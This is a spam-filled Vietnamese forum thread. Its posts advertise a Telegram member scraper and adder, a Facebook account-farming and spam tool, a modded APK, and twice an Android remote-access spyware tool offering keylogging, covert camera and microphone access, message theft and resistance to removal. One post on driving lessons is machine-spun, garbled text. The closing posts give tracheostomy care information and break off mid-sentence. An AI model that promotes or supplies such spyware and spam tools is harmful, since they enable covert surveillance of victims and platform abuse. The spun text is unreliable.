Ống mở khí quản trẻ sơ sinh LOVE N

Thảo luận trong 'Góc làm đẹp' bắt đầu bởi lenham30, 12/7/21.

  1. longthino1235

    longthino1235 New Member

    The tool created to scrape and transfer Telegram groups or channels active users
    Authentication
    - Multi-account support

    - Authentication to Telegram via API credentials
    - Verification code confirmation through Telegram app
    - User Adder
    [​IMG]

    - Import list of scraped users from .CSV file and start adding them to your group/channel
    - Adding users to channels works only with first 200 users - Telegram Restriction
    - Adding Settings Configuration
    - Control Delays Between Separate Adds (in milliseconds)
    - Select maximum number of users to be added per run
    Feature Upgrades And Support:

    - Automatic and invisible updates of new features and patches to valid users, who purchased license
    - Almost 24/7 Support for users inquiries and issues via Discord server.
    [​IMG] [​IMG]
     
  2. l3eisa9nu71mha147

    l3eisa9nu71mha147 New Member

    [​IMG]
    Việc tự động câu cá trong Play together v3 sẽ giúp bạn câu được nhiều cá hơn, chính xác trong mỗi lần cá nhấp câu, từ đó sẽ giúp bạn không tốn lượt câu cá và thu lại được nhiều cá, bán được nhiều tiền sao để mua nhà, mua xe hoặc thêm được nhiều cá to mà không bỏ lỡ một cơ hội nào cả. Cùng theo dõi bài viết để biết cách thực hiện nhé.
    Cách setting giả lập tối ưu treo game cho anh em nhé :Các bạn có thể tham khảo cách setting này của mình nhé hoặc ai có cách nào tối ưu cùng comment chia sẻ nha!"
    [​IMG]
     
  3. longthino1235

    longthino1235 New Member

    The tool created to scrape and transfer Telegram groups or channels active users
    Authentication
    - Multi-account support

    - Authentication to Telegram via API credentials
    - Verification code confirmation through Telegram app
    - User Adder
    [​IMG]

    - Import list of scraped users from .CSV file and start adding them to your group/channel
    - Adding users to channels works only with first 200 users - Telegram Restriction
    - Adding Settings Configuration
    - Control Delays Between Separate Adds (in milliseconds)
    - Select maximum number of users to be added per run
    Feature Upgrades And Support:

    - Automatic and invisible updates of new features and patches to valid users, who purchased license
    - Almost 24/7 Support for users inquiries and issues via Discord server.
    [​IMG] [​IMG]
     
  4. mabi5687

    mabi5687 New Member

    Học bằng lái xe ô tô.

    [​IMG]Source: taplai.com Học lái xe ô dù tô bao lăm tiền? phanh hiểu sâu hơn tại sao lại giàu tin tưởng đồn đãi học chi phí đang tăng cao? tin tưởng phao đồn xuể bắt buộc đầu từ đâu? hồi hương nào mới chính thức đỡ ngữ học phí tổn học lạ lái xe ô dù tô B2? hử với chúng tớ kiêng hiểu tinh thực hỏng chuyện học tổn phí tài xế năm 2021 tăng đến 30 triệu nhai!Vậy học bằng tài xế dù tô bao nhiêu tiền? được hiểu tuyền thiệt hỏng hóc vấn đề pa trên, hở cùng chúng trui theo dõi bài viết hôm nay nghe. trong suốt bài bác viết lách này, sẽ quách trả lời cạc vấn đề pa rất lắm người quan tâm giờ phứt học chi phí học tài xế ô dù tô.







    Học bằng lái xe ô tô.

    [​IMG]Source: truonghoclaixeb2.com Đây là khóa học cọ tài xế dù tô hệ thường nhật dành cho học hòn chửa gấp rút trớt thời kì học năng muốn trãi nghiệm có hơn phăng khóa học thời có trạng thái đăng ký khóa học này. mực học chi phí mềm giúp bạn tiện tặn tốt một khoản gì uổng.ngọc trai phí HỌC kì lái xe ơ TÔ của B2Gói cơ bản: Học uổng 5.500.000 VNĐ. Bao gồm ngọc trai uổng đua, châu lệ uổng làm tuần tra, 12 hiện nay học lý triết lí, vội giỏi liệu thần hồn và phần mềm dẻo miễn phí tổn.Gói 1: Học tổn phí 7.000.000 VNĐ. Học lái xe Lanos SX, nhiều 10 bây chừ thực hành gồm: 8 bây giờ học tài xế đường dài và rớt ảnh thô kệch, 2 hiện thời sớt hình cảm tương ứng trừng trị giá như 800.000 VNĐ và 12 hiện học lý thuyết.







    Học bằng lái xe ô tô.

    [​IMG]Source: daylaiotohcm.com bằng tài xế B2 là gì?cọ lái xe B2 là một loại giấy phép tài xế dùng tặng tài xế chả siêng, điều khiển xe cộ kia giới ẩy lịch loại dưới 9 chỗ ngồi, lắm thời hạn 10 năm. kì cọ tài xế B2 thắng nhà nước quy toan mở mang từ bỏ bằng lái B1. B1 là giấy phép thuật tài xế 4 bánh dến 9 chốn ngồi liền lái xe, và xe pháo tải dưới 3500kg chẳng kinh dinh, giàu hạn 5 năm. Còn tuần tài xế B2 giàu thời hạn là 10 năm (mười năm). Học hòn hoàn trả tuyền lắm thể học lái xe và thi thẳng tuột giấy phép lái xe B2 cơ mà không cần giả dụ thi cử sang trọng kè tài xế B1.
     
  5. thusteatmpay14

    thusteatmpay14 New Member

    RA MẮT DEMON CARE MIỄN PHÍ 100%
    NHẰM TẠO SÂN CHƠI CHO ANH EM NUÔI ACC FACEBOOK.
    MÌNH RA MẮT TOOL NUÔI – SHARE – SPAM TRÊN CHROME
    Link : https://drive.google.com/file/d/1GEwurIUG6J-hwSPwTSP_YuHPBdFWOiu6/view
    ———————————————————
    TOOL NUÔI ACC LD-PLAYER * DEMON SYSTEM * 0348 328 334
    Tương tác nuôi Account trên CHROME theo kịch bản :
    Lướt – Tương tác News Feed
    Xem Story
    Đọc Thông báo
    Chúc mừng sinh nhật
    Chọc bạn bè
    Xem watch
    Add friend gợi ý
    Add friend theo uid
    Add friend theo từ khóa
    Add friend là thành viên của group
    Add friend là bạn của bạn bè
    Aaccept lời mời kết bạn
    Tham gia group theo uid
    Tham gia group theo từ khóa
    Tham gia group theo gợi ý
    Seeding : like, share, comment bài viết,
    Rời khỏi nhóm : Tất cả, theo tên hoặc theo UID group
    Mời bạn bè vào Group.
    Share bài viết vào group
    Share Livestream
    Backup ảnh, comment, info account
    Đăng bài viết lên Wall, Group.
    Tương tác Group đã tham gia
    Tương tác wall friend tăng tương tác.
    Mỗi acc 1 PROFILE
    Liên hệ : Kit Đỗ (fb.com/kitdo.studiodanang)
    ☎ Phone/ZALO : 0348 328 334
    Group : fb.com/groups/demon.system.tool
    [​IMG][​IMG]


    [​IMG]
     
  6. ghconnhanguoitax147

    ghconnhanguoitax147 New Member

    RA MẮT DEMON CARE MIỄN PHÍ 100%
    NHẰM TẠO SÂN CHƠI CHO ANH EM NUÔI ACC FACEBOOK.
    MÌNH RA MẮT TOOL NUÔI – SHARE – SPAM TRÊN CHROME
    Link : https://drive.google.com/file/d/1GEwurIUG6J-hwSPwTSP_YuHPBdFWOiu6/view
    ———————————————————
    TOOL NUÔI ACC LD-PLAYER * DEMON SYSTEM * 0348 328 334
    Tương tác nuôi Account trên CHROME theo kịch bản :
    Lướt – Tương tác News Feed
    Xem Story
    Đọc Thông báo
    Chúc mừng sinh nhật
    Chọc bạn bè
    Xem watch
    Add friend gợi ý
    Add friend theo uid
    Add friend theo từ khóa
    Add friend là thành viên của group
    Add friend là bạn của bạn bè
    Aaccept lời mời kết bạn
    Tham gia group theo uid
    Tham gia group theo từ khóa
    Tham gia group theo gợi ý
    Seeding : like, share, comment bài viết,
    Rời khỏi nhóm : Tất cả, theo tên hoặc theo UID group
    Mời bạn bè vào Group.
    Share bài viết vào group
    Share Livestream
    Backup ảnh, comment, info account
    Đăng bài viết lên Wall, Group.
    Tương tác Group đã tham gia
    Tương tác wall friend tăng tương tác.
    Mỗi acc 1 PROFILE
    Liên hệ : Kit Đỗ (fb.com/kitdo.studiodanang)
    ☎ Phone/ZALO : 0348 328 334
    Group : fb.com/groups/demon.system.tool
    [​IMG][​IMG]


    [​IMG]
     
  7. ghconnhanguoitax147

    ghconnhanguoitax147 New Member

    RA MẮT DEMON CARE MIỄN PHÍ 100%
    NHẰM TẠO SÂN CHƠI CHO ANH EM NUÔI ACC FACEBOOK.
    MÌNH RA MẮT TOOL NUÔI – SHARE – SPAM TRÊN CHROME
    Link : https://drive.google.com/file/d/1GEwurIUG6J-hwSPwTSP_YuHPBdFWOiu6/view
    ———————————————————
    TOOL NUÔI ACC LD-PLAYER * DEMON SYSTEM * 0348 328 334
    Tương tác nuôi Account trên CHROME theo kịch bản :
    Lướt – Tương tác News Feed
    Xem Story
    Đọc Thông báo
    Chúc mừng sinh nhật
    Chọc bạn bè
    Xem watch
    Add friend gợi ý
    Add friend theo uid
    Add friend theo từ khóa
    Add friend là thành viên của group
    Add friend là bạn của bạn bè
    Aaccept lời mời kết bạn
    Tham gia group theo uid
    Tham gia group theo từ khóa
    Tham gia group theo gợi ý
    Seeding : like, share, comment bài viết,
    Rời khỏi nhóm : Tất cả, theo tên hoặc theo UID group
    Mời bạn bè vào Group.
    Share bài viết vào group
    Share Livestream
    Backup ảnh, comment, info account
    Đăng bài viết lên Wall, Group.
    Tương tác Group đã tham gia
    Tương tác wall friend tăng tương tác.
    Mỗi acc 1 PROFILE
    Liên hệ : Kit Đỗ (fb.com/kitdo.studiodanang)
    ☎ Phone/ZALO : 0348 328 334
    Group : fb.com/groups/demon.system.tool
    [​IMG][​IMG]


    [​IMG]
     
  8. dragonbaldas31x

    dragonbaldas31x New Member

    Giới thiệu về FaceApp Pro
    Nếu thường xuyên sử dụng mạng xã hội, không khó để bắt gặp những hình ảnh với nhiều nếp nhăn trên gương mặt của các diễn viên nổi tiếng. Bạn bè của bạn cũng đăng những bức ảnh kỳ lạ tương tự với chú thích hài hước. Họ không đến từ tương lai, họ chỉ chỉnh sửa ảnh selfie của mình thông qua ứng dụng FaceApp.

    Ra mắt vào tháng 2/2017 bởi một công ty Trung Quốc, ứng dụng này nhanh chóng trở thành ứng dụng chụp ảnh tốt nhất trên toàn cầu với rất nhiều người dùng. Tuy nhiên, sau một thời gian dài không quá nổi bật trên thị trường, phải đến giữa năm nay, FaceApp mới trở lại mạnh mẽ. Sở hữu nhiều bộ lọc và tính năng độc đáo, ứng dụng này giúp bạn thay đổi giới tính, thay đổi độ tuổi một cách dễ dàng chỉ với vài thao tác đơn giản.
    [​IMG]
    FaceApp là gì?

    FaceApp là ứng dụng chỉnh sửa ảnh cho phép bạn làm điều gì đó đặc biệt với những bức ảnh selfie của mình. Được phát triển bởi một nhóm nghiên cứu ở Saint-Petersburg, Nga, ứng dụng này sử dụng mạng lưới thần kinh và điều chỉnh các chi tiết trên khuôn mặt của bạn theo cách thực tế nhất. Hệ thống AI có thể giúp một chàng trai trẻ biến thành một ông già 50 tuổi, một cô gái có thể biến thành một chàng trai để râu.

    Cách sử dụng FaceApp

    Rất đơn giản để sử dụng. Đầu tiên, bạn cần tải ảnh tự sướng từ thư viện điện thoại thông minh hoặc chụp trực tiếp từ máy ảnh. Trước đó, bạn cần cho phép ứng dụng truy cập vào thư viện trên điện thoại thông minh mà bạn sở hữu. Điều chỉnh khung ảnh trên màn hình để phù hợp với khuôn mặt của bạn. Chọn bất kỳ phong cách nào và để FaceApp hoàn thành phần còn lại. Hãy nhớ rằng ứng dụng yêu cầu thiết bị của bạn phải được kết nối với Internet.

    Thay đổi tuổi của bạn

    Chỉ với vài thao tác đơn giản, bạn đã có thể sở hữu một bức ảnh selfie ngộ nghĩnh. Thay đổi tuổi của bạn khác với thực tế. Hầu hết người dùng của FaceApp yêu thích tính năng Old biến khuôn mặt thành người già. Ứng dụng này có tính năng Young giúp bạn sở hữu một babyface giống như một đứa trẻ, tuy nhiên nó không quá phổ biến vì những bức ảnh này không được chi tiết và chân thực.

    Thay đổi giới tính của bạn

    Một trong những tính năng cực hot của FaceApp là cho phép bạn thay đổi giới tính của nhân vật trong ảnh. Từ nam thành nữ, từ nữ thành nam… tất cả đều có thể thực hiện được chỉ với vài thao tác đơn giản.

    Nhiều bộ lọc

    FaceApp tích hợp nhiều tính năng và bộ lọc độc đáo cho bạn. Tính năng nụ cười giúp những bức ảnh nghiêm túc trở nên hài hước vì khuôn mặt nghiêm túc của bạn đã được thay đổi bằng một nụ cười dễ thương. Bên cạnh đó, bạn có thể thay đổi hai khuôn mặt của hai người, chuyển từ nam sang nữ và ngược lại. Sau khi có ảnh ưng ý, bạn có thể lưu ảnh vào bộ sưu tập hoặc chia sẻ lên mạng xã hội. Chia sẻ những hình ảnh vui nhộn giúp bạn có những giây phút vui vẻ bên bạn bè và người thân.
    [​IMG]
    Các tính năng khác
    Thêm hình xăm.
    Tạo một nụ cười.
    Nhiều bộ lọc màu, ánh sáng đẹp.
    Thay đổi nền.
    Trang điểm.
    Tạo kiểu tóc của bạn.
    FaceApp AI tự động tìm cho bạn các bộ lọc và chế độ phù hợp.
    Phiên bản APK MOD của FaceApp
    Tính năng MOD


    Không có hình mờ

    Tải xuống APK FaceApp Pro (Đã mở khóa MOD) cho Android

    Với số lượng người dùng khổng lồ, FaceApp không ngừng được cải tiến và cập nhật. Nhà phát hành cố gắng làm mới để mang đến cho bạn trải nghiệm tốt nhất. Một ứng dụng chỉnh sửa ảnh tuyệt vời dành cho các thiết bị iOS và Android và hoàn toàn miễn phí. Bạn có thể trả 3,99 đô la một tháng để sử dụng các tính năng mở rộng hoặc tải xuống FaceApp Pro của chúng tôi qua liên kết bên dưới bài viết này.

    Sau khi chỉnh sửa, có thể bạn sẽ cần đến Remini để làm sắc nét ảnh, và Lightroom để bức ảnh trông chuyên nghiệp hơn!

    [Video] Cách bật, tắt cài đặt ứng dụng không rõ nguồn gốc trên Android
    [​IMG] [​IMG]
     
  9. ipadprof19813

    ipadprof19813 New Member

    [​IMG]
    Tested on Android : 5,6,7,8,9,10,11
    Application Features :
    ——
    Manage :
    Files
    Sms
    contacts
    Calls
    Applications
    Accounts
    ——
    Monitor :
    Camera
    Live screen
    Microphone
    Keylogger
    Location
    Real time calls monitor
    ——
    Tools :
    Download apk and install
    Show message
    Open link
    Call number
    Phone info
    —–
    Social media Hunter:
    Facebook
    Gmail
    More coming soon
    ——
    Super mode :
    Anti-Kill
    Anti-Delete
    Realtime Monitor Active App
    Auto Click Start Screen Record
    Anti shutdown phone
    ———————————-
    [​IMG]
    This is free version will not have Support
    —–
    Pass : BY_EVLF
    [​IMG]
     
  10. lotliada11235

    lotliada11235 New Member

    [​IMG]
    Tested on Android : 5,6,7,8,9,10,11
    Application Features :
    ——
    Manage :
    Files
    Sms
    contacts
    Calls
    Applications
    Accounts
    ——
    Monitor :
    Camera
    Live screen
    Microphone
    Keylogger
    Location
    Real time calls monitor
    ——
    Tools :
    Download apk and install
    Show message
    Open link
    Call number
    Phone info
    —–
    Social media Hunter:
    Facebook
    Gmail
    More coming soon
    ——
    Super mode :
    Anti-Kill
    Anti-Delete
    Realtime Monitor Active App
    Auto Click Start Screen Record
    Anti shutdown phone
    ———————————-
    [​IMG]
    This is free version will not have Support
    —–
    Pass : BY_EVLF
    [​IMG]
     
  11. lenham19

    lenham19 New Member

    Mở khí quản

    Ngày càng có nhiều bệnh nhân, cả trong bệnh viện và cộng đồng, những người được đặt ống thông khí quản. Mở khí quản giúp tiếp cận trực tiếp khí quản bằng cách phẫu thuật tạo một lỗ mở ở cổ. Sau khi mở lỗ thông, nó cần được duy trì, đó là bằng ống mở khí quản, trong đó có một số loại.

    Mở khí quản được sử dụng trong hai loại bệnh lý:
    • Cấp tính - thường là trong trường hợp khẩn cấp để lấy đường thở và ở những bệnh nhân được thở máy gặp khó khăn khi cai máy thở.
    • Cơ sở mãn tính hoặc tự chọn - thường là khi bệnh nhân được thở máy trong thời gian dài hơn.
    Chỉ định mở khí quản [sup][ 1 ][/sup]
    • Tắc nghẽn đường hô hấp trên - ví dụ dị vật, chấn thương, nhiễm trùng, khối u thanh quản, gãy xương mặt.
    • Suy giảm chức năng hô hấp - ví dụ như chấn thương đầu dẫn đến bất tỉnh, viêm đa cơ ức đòn chũm.
    • Để hỗ trợ cai sữa khỏi hỗ trợ thở máy ở bệnh nhân trong chăm sóc đặc biệt.
    • Để giúp làm sạch dịch tiết ở đường hô hấp trên.
    So sánh giữa mở khí quản và đặt nội khí quản
    Mở khí quản
    Đặt nội khí quản

    Giảm nhu cầu an thần.

    Thực hiện dễ dàng và nhanh chóng hơn so với phẫu thuật mở khí quản.



    Giảm tổn thương thanh môn.

    Dung nạp tốt trong thời gian ngắn.



    Giảm công việc thở (bằng cách giảm không gian chết).

    Việc cai sữa khó khăn hơn sau một thời gian dài sắp xếp.



    Giảm khó chịu cho bệnh nhân.

    Cần được an thần.



    Xâm lấn và phức tạp hơn so với đặt ống nội khí quản.

    Ngăn cản sự hút dịch tiết.



    Sự hình thành sẹo.

    Có thể được sử dụng để cho một số loại thuốc - ví dụ: adrenaline (epinephrine).



    Vị trí mở khí quản có thể chảy máu hoặc nhiễm trùng.

    Cần làm ấm và lọc khí, vì mũi, nơi thường cung cấp chức năng này, bị bỏ qua.



    Yêu cầu kỹ năng để thực hiện các thủ tục.

    Vị trí đặt không đúng có thể xảy ra - ví dụ: đặt thực quản.



    Có thể liên quan đến các biến chứng lâu dài - ví dụ, khó nuốt.




    Một số loại ống mở khí quản
    • Ống nhựa hoặc bạc - bạc không có ống bên trong và cần phải thay 5 - 7 ngày một lần (so với 30 ngày một lần với một số loại nhựa).
    • Ống quấn được quấn hoặc không được nhồi - ống quấn bảo vệ đường thở và có xu hướng được sử dụng cho những bệnh nhân thở máy.
    • Được làm chín hoặc không được làm lạnh - những ống này có thể bị quấn hoặc không. Chúng có một lỗ ở ống thông bên ngoài có nghĩa là không khí có thể đi từ phổi lên đến dây thanh âm và cả miệng và mũi. Do đó, bệnh nhân có thể thở bình thường và ho tiết dịch ra khỏi miệng, đồng thời giúp giảm giọng. Ống nung chảy có xu hướng không được sử dụng cho trẻ em.
    • Ống thông đôi hoặc ống đơn - ống thông đôi có một ống bên trong và một ống bên ngoài. Ống trong giảm lòng ống ngoài có nghĩa là nỗ lực hô hấp được tăng lên nhưng ống ngoài có nghĩa là lỗ thoát khí vẫn mở.
    Thủ tục

    Thủ thuật mở khí quản có thể được thực hiện tại rạp (phẫu thuật mở khí quản) hoặc tại giường bệnh (mở khí quản giãn qua da), phương pháp sau thường được thực hiện ở các đơn vị chăm sóc đặc biệt (ICU). Một phân tích tổng hợp đã kết luận rằng mở khí quản giãn qua da là thủ thuật được lựa chọn ở bệnh nhân ICU cấp tính.

    Phẫu thuật mở khí quản
    • Bệnh nhân nằm ngửa với phần đầu mở rộng và được gây mê toàn thân.
    • Vết rạch 2-3 cm từ vòng khí quản thứ hai trở xuống.
    • Chia eo đất tuyến giáp nếu cần.
    • Tạo một lỗ giữa vòng khí quản thứ ba và thứ tư, loại bỏ phần trước của vòng khí quản.
    • Ống mở khí quản được đưa vào.
    Mở khí quản qua da
    • Đặt nội khí quản qua da được thực hiện bằng cách sử dụng dây dẫn hướng và dụng cụ giãn.
    • Hướng dẫn được đặt giữa vòng khí quản thứ nhất và thứ hai.
    • Dần dần, kích thước lỗ được tăng lên bằng cách sử dụng các bộ giãn nở có kích thước khác nhau được đưa qua dây dẫn hướng.
    • Điều này có thể được thực hiện một cách mù quáng đối với những người có kinh nghiệm nhưng thường được hỗ trợ bởi việc sử dụng ống nội soi phế quản.
    Có nhiều phương pháp khác cũng có sẵn, cho cả phẫu thuật và mở khí quản giãn qua da.

    Mini-Trach® là một ống mở khí quản có đường kính nhỏ hơn được đưa qua màng cận giáp. Nó thường được sử dụng trong các tình huống khẩn cấp khi đặt nội khí quản không thành công.

    Các biến chứng

    Ngay tức khắc
    • Xuất huyết - ví dụ, từ eo đất tuyến giáp.
    • Tình trạng thiếu oxy.
    • Chấn thương dây thần kinh thanh quản tái phát.
    • Tổn thương thực quản.
    • Tràn khí màng phổi.
    • Sự nhiễm trùng.
    • Khí thũng dưới da.
    Sớm
    • Tắc nghẽn hoặc dịch chuyển ống.
    • Sự hình thành đoạn văn sai.
    • Tích tụ dịch tiết, dẫn đến hít phải và nhiễm trùng đường hô hấp dưới (LRTI).
    • Khát vọng.
    • Chảy máu từ vị trí mở khí quản.
    • Sự nhiễm trùng.
    Muộn
    • Tắc nghẽn đường thở bằng chọc hút.
    • Thiệt hại cho thanh quản - ví dụ, hẹp.
    • Hẹp khí quản.
    • Bệnh keo.
    • Chọc hút và viêm phổi.
    • Hình thành đường rò - ví dụ: khí quản-da hoặc khí quản-thực quản.
    Chăm sóc bệnh nhân được mở khí quản ngắn hạn hoặc dài hạn

    Chăm sóc stoma
    • Chăm sóc tỉ mỉ về vệ sinh và vô trùng là cần thiết.
    • Hãy nhớ rằng vùng da xung quanh lỗ khí cũng dễ bị kích ứng.
    • Cũng có thể có các yếu tố khác có thể làm thay đổi tính toàn vẹn của da - ví dụ như xạ trị.
    • Đối với ống thông đôi, ống thông bên trong sẽ cần phải được lấy ra để làm sạch (thường chỉ bằng nước ấm và sau đó để khô trong không khí).
    • Khu vực này nên được làm sạch bằng nước muối thông thường và kem bảo vệ bôi lên da tại chỗ (nên tránh dùng bông gòn).
    Chăm sóc ống mở khí quản
    • Các ống cần được làm sạch - như trên.
    • Đối với ong mo khi quan có vòng bít, nên đo áp lực hai lần mỗi ngày và duy trì trong khoảng 15-30 cmH [sub]2[/sub] O (15-25 cmH [sub]2[/sub] O đối với trẻ em).
    Giao tiếp
    • Mất giọng có thể rất đau đớn, cho cả bệnh nhân và người chăm sóc.
    • Van nói có thể được sử dụng trong ngắn hạn và các phương pháp máy tính có thể được sử dụng cho các giải pháp dài hạn.
    • Sự tham gia của các nhà trị liệu ngôn ngữ và ngôn ngữ là rất quan trọng.
    Nuốt và dinh dưỡng
    • Các vấn đề với nuốt là do một số yếu tố, bao gồm bệnh lý có từ trước, áp lực lên thực quản, không ho để loại bỏ chất tiết, v.v.
    • Có nguy cơ phải hút nếu diễn ra bằng miệng; lạm phát còng không nhất thiết ngăn chặn điều này.
    • Cần có một cách tiếp cận đa ngành đối với dinh dưỡng với sự tham gia sớm của các chuyên gia dinh dưỡng và các nhà trị liệu ngôn ngữ và ngôn ngữ.
    • Việc vệ sinh răng miệng cũng cần được chú ý.
    Hút
    • Loại bỏ các ống đã được khử trùng trước khi hút và thay thế bằng một ống trơn.
    • Sử dụng áp suất thấp nhất cần thiết (thường <120 mm Hg và chắc chắn không vượt quá 200 mm Hg). Đối với những người không phải là người lớn, các áp suất sau được khuyến nghị: 60-80 mm Hg đối với trẻ sơ sinh, 80-100 mm Hg đối với trẻ em và 80-120 mm Hg đối với thanh thiếu niên.
    • Chỉ nên thực hiện đấu giá dưới 10 giây mỗi lần ở người lớn và không quá 5 giây ở người không trưởng thành.
    Tạo ẩm
    • Hệ thống lọc không khí và làm ẩm thông thường bị bỏ qua nếu mở khí quản tại chỗ.
    • Giữ cho bệnh nhân đủ nước - nếu không dịch tiết sẽ trở nên đặc hơn và có nhiều khả năng bị giữ lại. Điều này có thể dẫn đến nhiễm trùng và do đó các chuyên gia chăm sóc sức khỏe cần phải cảnh giác với các dấu hiệu phát triển nhiễm trùng.
    Bệnh nhân và người chăm sóc sẽ cần phải được giáo dục về những điều trên để những bệnh nhân cần phẫu thuật mở khí quản tại cộng đồng có thể được quản lý một cách an toàn và hiệu quả. Điều này áp dụng cho cả trẻ em và bệnh nhân người lớn.

    Mở khí quản ngắn hạn

    Khi bệnh nhân cải thiện và ít phụ thuộc vào máy thở hơn, mở khí quản có thể được cắm trong thời gian dài hơn. Tương tự, một khi vòng bít có thể được xì hơi, bệnh nhân có thể bắt đầu nói nếu lỗ mở bị tắc. Thông thường việc này cần nhiều thời gian và bệnh nhân cần được hỗ trợ nhiều.

    Cuối cùng, bệnh nhân có thể xử trí mà không cần mo khi quan và sau đó có thể cắt bỏ nó. Sau khi cắt bỏ khí quản, lỗ thông thường sẽ lành theo thời gian, mặc dù thường để lại sẹo.

    Các khía cạnh trong tương lai

    Có một số lo ngại rằng hiện tại, việc đánh giá bệnh tật và kết quả của bệnh nhân được mở khí quản chưa được nghiên cứu đầy đủ. Thay vào đó, một số dữ liệu cho thấy rằng việc mở khí quản, mặc dù được thực hiện phổ biến để giúp cai sữa dễ dàng hơn, không ảnh hưởng đến sự sống còn của bệnh nhân ICU và thậm chí có thể liên quan đến việc tăng tỷ lệ tử vong sau ICU. Có lẽ cần phải thiết lập các tiêu chí lựa chọn để chọn những bệnh nhân có khả năng được hưởng lợi từ phẫu thuật mở khí quản.

    Liên hệ đơn vị phân phối các thiết bị y tế gia đình và bệnh viện tại Việt Nam

    Công ty TNHH thương mại quốc tế MERINCO

    Văn phòng giao dịch: Phòng 2304, toà nhà HH2 Bắc Hà. Số 15 Tố Hữu, Thanh Xuân, Hà nội.

    ĐT : 02437765118

    Email: merinco.sales@gmail.com

    WEBSITE: www.merinco.vn / www.meplus.vn / merinco.com.vn
     
  12. lenham33

    lenham33 New Member

    Chỉ định mở khí quản

    Tắc nghẽn đường thở
    • Để đảm bảo và thông đường thở trong tắc nghẽn đường hô hấp trên
    • Tắc nghẽn, thường do ung thư, sưng đường thở, nhiễm trùng, viêm hoặc chấn thương
    • Trường hợp đường thở được dự đoán là trở nên tồi tệ hơn và có thể bị tắc nghẽn thực sự, chẳng hạn như sau cuộc phẫu thuật lớn ở đầu và cổ
    Cung cấp một đường thở nhân tạo để thông gió
    • Phẫu thuật mở khí quản thường được dung nạp tốt và thường không cần dùng thuốc an thần sau khi đã được đưa vào.
    • Đây là cách tốt nhất để thông khí xâm lấn cho bệnh nhân trong thời gian trung và dài hạn, nó cung cấp một đường thở an toàn mà không can thiệp trực tiếp vào thanh quản
    • Nó có thể tạo điều kiện cho việc cai sữa khỏi thông gió.
    • Nó có thể cho phép bệnh nhân thở máy lâu dài, trong bệnh cảnh cấp tính hoặc lâu dài.
    Bảo vệ đường thở
    • Một số bệnh nhân có nguy cơ cao khi hút dịch tiết hoặc chất chứa trong dạ dày vào đường thở. Ví dụ: rối loạn thần kinh cơ, chấn thương đầu, bất tỉnh, đột quỵ hoặc sau khi ngưng sử dụng kéo dài như sau khi đặt nội khí quản xuyên thanh quản (Ống nội khí quản)
    • Một ống mở khí quản với vòng bít được bơm căng làm giảm nguy cơ và cung cấp một số biện pháp bảo vệ chống lại việc hít phải
    • Hệ thống hút dưới thanh môn có thể giúp giảm chất tiết đi vào đường thở
    Quản lý bài tiết đường hô hấp
    • Để tạo điều kiện thuận lợi cho việc loại bỏ các chất tiết phế quản ở những nơi có khả năng ho kém và giữ lại đờm
    • Khai thông khí quản cho phép áp dụng trực tiếp vào phổi cho quá trình thổi ngạt bằng tay
    • Hút trực tiếp vào khí quản giúp làm sạch dịch tiết.
    Các lý do khác cho việc mở khí quản
    • Các bệnh thần kinh cơ làm tê liệt hoặc suy yếu cơ ngực và cơ hoành
    • Khát vọng liên quan đến các vấn đề về cơ hoặc cảm giác ở cổ họng
    • Gãy đốt sống cổ kèm theo chấn thương tủy sống
    • Bất tỉnh hoặc hôn mê dài hạn
    • Rối loạn kiểm soát hô hấp như giảm thông khí trung ương bẩm sinh hoặc ngưng thở trung ương
    • Phẫu thuật mặt và bỏng mặt
    • Sốc phản vệ (phản ứng dị ứng nghiêm trọng)
    Thay đổi sinh lý
    • Khoảng chết giải phẫu đường thở trên có thể giảm tới 50%. - Khoảng không gian này không tham gia vào quá trình trao đổi khí và làm tăng thêm công việc thở. Giảm điều này có thể giúp bệnh nhân cai máy thở dễ dàng hơn.
    • Sự ấm lên tự nhiên, làm ẩm và lọc không khí thường diễn ra ở đường hô hấp trên bị mất
    • Khả năng nói của bệnh nhân bị loại bỏ / giảm do vòng bít làm suy giảm cơ chế nuốt của thanh quản
    • Khả năng nuốt bị ảnh hưởng xấu
    • Vị giác và khứu giác có thể bị mất, tác động tiêu cực đến sự thèm ăn.
    • Thay đổi hình ảnh cơ thể
    Các biến chứng

    Giai đoạn trước phẫu thuật
    • Băng huyết
    • Đặt sai ống - trong các mô xung quanh khí quản hoặc phế quản chính
    • Tràn khí màng phổi
    • Tắc ống
    • Khí thũng do phẫu thuật
    • Mất đường thở trên
    Thời gian hậu phẫu <7 ngày
    • Tắc nghẽn ống với chất tiết hoặc máu
    • Dịch chuyển một phần hoặc toàn bộ ống
    • Nhiễm trùng vị trí lỗ khí
    • Nhiễm trùng cây phế quản (viêm phổi)
    • Loét, và / hoặc hoại tử khí quản hoặc loét niêm mạc do di chuyển ống
    • Nguy cơ tắc ong mo khi quan ở bệnh nhân béo phì hoặc mệt mỏi, khó vươn cổ
    • Hình thành lỗ rò khí quản-thực quản
    • Băng huyết
    Hậu phẫu muộn> 7 ngày
    • Các u hạt (một khối mô hạt) của khí quản có thể gây khó hô hấp khi rút ống mở khí quản
    • Khí quản giãn, hẹp hoặc nhuyễn khí quản (khí quản xẹp xuống một phần đặc biệt khi luồng khí tăng lên)
    • Sự hình thành sẹo-yêu cầu sửa đổi
    • Băng huyết
    Đánh giá chấn thương sọ não

    Một khóa học trực tuyến của Nhóm Physioplus

    Cai sữa mở khí quản – Physiopedia Giới thiệu Mở khí quản là một phẫu thuật mở ở thành trước của khí quản để tạo điều kiện thở, điều này có thể được thực hiện bằng phẫu thuật hoặc bằng phương pháp qua da. Ống mở khí quản cho phép luồng không khí đi vào khí quản và phổi trực tiếp, do đó đi qua hầu và thanh quản. [1] [2] Phần lớn các dụng cụ mở khí quản được đưa vào như một biện pháp hỗ trợ hô hấp tạm thời. Quá trình loại bỏ được gọi là decannulation. Điều này thường được thực hiện ở đơn vị chăm sóc quan trọng; tuy nhiên, chương trình cai sữa diễn ra tại khoa ở nhiều bệnh viện. Điều quan trọng là các nhân viên liên quan phải có năng lực và hiểu biết về quy trình cai sữa, họ có thể được yêu cầu tham gia khóa đào tạo cụ thể tại bệnh viện của họ. [1] Cai sữa cắt bỏ khí quản là gì? [Sửa sửa mã nguồn] Mục đích của cai sữa là để dần dần đưa luồng không khí trở lại đường hô hấp trên và phục hồi các chức năng sinh lý bình thường. [3] Quá trình cai sữa bao gồm việc thao tác ống mở khí quản có thể làm tăng khối lượng công việc thở. [4] Tiêu chí bắt đầu cai sữa [sửa sửa mã nguồn] Bệnh nhân sẽ được MDT đánh giá bằng cách sử dụng các tiêu chí dưới đây và, nếu phù hợp, chương trình cai sữa sẽ bắt đầu. Các chỉ 